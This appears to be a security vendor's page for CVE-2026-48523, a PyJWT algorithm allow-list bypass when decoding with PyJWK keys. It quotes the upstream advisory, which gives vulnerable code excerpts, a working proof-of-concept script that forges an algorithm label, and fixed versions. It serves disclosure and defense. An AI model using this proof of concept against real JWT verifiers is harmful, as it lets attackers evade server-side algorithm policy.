HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 48523 pyjwt algorithm allow list bypass when decoding
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright ยฉ 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Medium ยท CVSS 5.4CVE-2026-48523GHSA-JQ35-7PRP-9V3F

PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keysCVE-2026-48523

Answer in brief

CVE-2026-48523 records a Medium severity (CVSS 5.4) vulnerability in PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys. The current sources do not mark it as known exploited. The current feed maps pyjwt (pip), pyjwt (pypi), pyjwt (pypi). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published May 28, 2026Updated Oct 25, 2026Source checked Nov 1, 2026First seen by HOL Jun 19, 2026Material review Oct 25, 2026
Upstream Advisory

Key facts

Risk
Medium ยท CVSS 5.4
Exploitation
Not marked as known exploited
Affected software
4 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 5.4. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps pyjwt (pip), pyjwt (pypi), pyjwt (pypi). Check affected ranges and fixed versions before updating.

Affected products and reported versions
ProductAffected versionsFixed versions
cpe:2.3:a:pyjwt_project:pyjwt:*:*:*:*:*:*:*:*Not reportedNot reported
Mapped affected packages and fixed versions
PackageAffected rangeFixed version
pyjwtpip>=2.9.0,<2.13.02.13.0
pyjwtpypi>=2.9.0 <2.12.12.12.1
pyjwtpypi>=2.9.0 <2.13.02.13.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for pyjwt, pyjwt, pyjwt.
  2. 2Review the reported fix. Update pyjwt to 2.13.0; pyjwt to 2.12.1; pyjwt to 2.13.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    May 28, 2026

    Evidence: source:nvd:source_dates:source-dates:record
  2. Source modified

    Oct 25, 2026

    Evidence: source:nvd:source_dates:source-dates:record
  3. First seen by HOL

    Jun 19, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • GitHub security advisorygithub.com
Upstream source description

> [!NOTE] > Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug. PyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow. ### Summary PyJWT's `PyJWK` verification path allows a verifier-side algorithm allow-list bypass. In affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller's `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object. This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration. ### Details In `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs: ```python if algorithms is None and isinstance(key, PyJWK): algorithms = [key.algorithm_name] ... if not alg or (algorithms is not None and alg not in algorithms): raise InvalidAlgorithmError("The specified alg value is not allowed") if isinstance(key, PyJWK): alg_obj = key.Algorithm prepared_key = key.key else: alg_obj = self.get_algorithm_by_name(alg) prepared_key = alg_obj.prepare_key(key) ``` This logic means: 1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list. 2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm. 3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created. `PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK's `alg` field or from key-type defaults: ```python if not algorithm and isinstance(self._jwk_data, dict): algorithm = self._jwk_data.get("alg", None) ... self.algorithm_name = algorithm self.Algorithm = get_default_algorithms()[algorithm] self.key = self.Algorithm.from_jwk(self._jwk_data) ``` So once a `PyJWK` is constructed, the verifier uses the `PyJWK`'s bound algorithm, not the JWT header algorithm. The issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents: ```python signing_key = jwks_client.get_signing_key_from_jwt(token) jwt.decode( token, signing_key, audience="https://expenses-api", options={"verify_exp": False}, algorithms=["RS256"], ) ``` `PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected. This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as: - self-service OAuth client assertions - multi-tenant key registration - federation / BYO-JWKS trust models - any system where external parties sign JWTs with their own registered keys In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path. The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior. This behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`. ### PoC Tested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`. Install dependencies: ```bash python -m pip install pyjwt==2.12.1 cryptography ``` Run the following script: ```python import json import jwt from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat from jwt.api_jwk import PyJWK from jwt.algorithms import RSAAlgorithm from jwt.utils import base64url_encode # Generate an RSA keypair controlled by the attacker. priv = rsa.generate_private_key(public_exponent=65537, key_size=2048) pub = priv.public_key() pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo) # Build a PyJWK from the public key. # With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default. jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub)) # Create a token whose protected header claims RS512. header = {"typ": "JWT", "alg": "RS512"} payload = {"sub": "alice"} header_b64 = base64url_encode( json.dumps(header, separators=(",", ":"), sort_keys=True).encode() ) payload_b64 = base64url_encode( json.dumps(payload, separators=(",", ":")).encode() ) signing_input = b".".join([header_b64, payload_b64]) # Sign the RS512-labelled token with RS256 instead. sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv) token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode() print("token:", token) print("PyJWK path:") print(jwt.decode(token, jwk, algorithms=["RS512"])) print("PEM path:") try: print(jwt.decode(token, pub_pem, algorithms=["RS512"])) except Exception as e: print(f"{type(e).__name__}: {e}") ``` Observed output: ```text PyJWK path: {'sub': 'alice'} PEM path: InvalidSignatureError: Signature verification failed ``` The token is accepted when the verification key is a `PyJWK`, even though: - the caller restricted allowed algorithms to `["RS512"]` - the signature was actually generated with `RS256` The same token is rejected when verified through the normal PEM/public-key path. ### Impact This is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`. The impact depends on the deployment model: - If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited. - If attackers can legitimately control a registered key, this is exploitable. Impacted deployments include: - JWT client assertion flows where each client uses its own key - multitenant systems where tenants register JWK/JWKS material - federation-style trust models - any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys What an attacker can do: - bypass a server-side requirement such as "only `PS256`" or "only `RS512`" - continue using a deprecated or blocked algorithm after the server thought it had disabled it - authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy What this issue does not do by itself: - it does not let an attacker forge tokens without access to a valid signing key or signing oracle - it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Missing Auth
EPSS
Not reported
CWE IDs
CWE-347
Source
GitHub Security Advisories
Source checked
Nov 1, 2026
References
5 linked sources
Open source record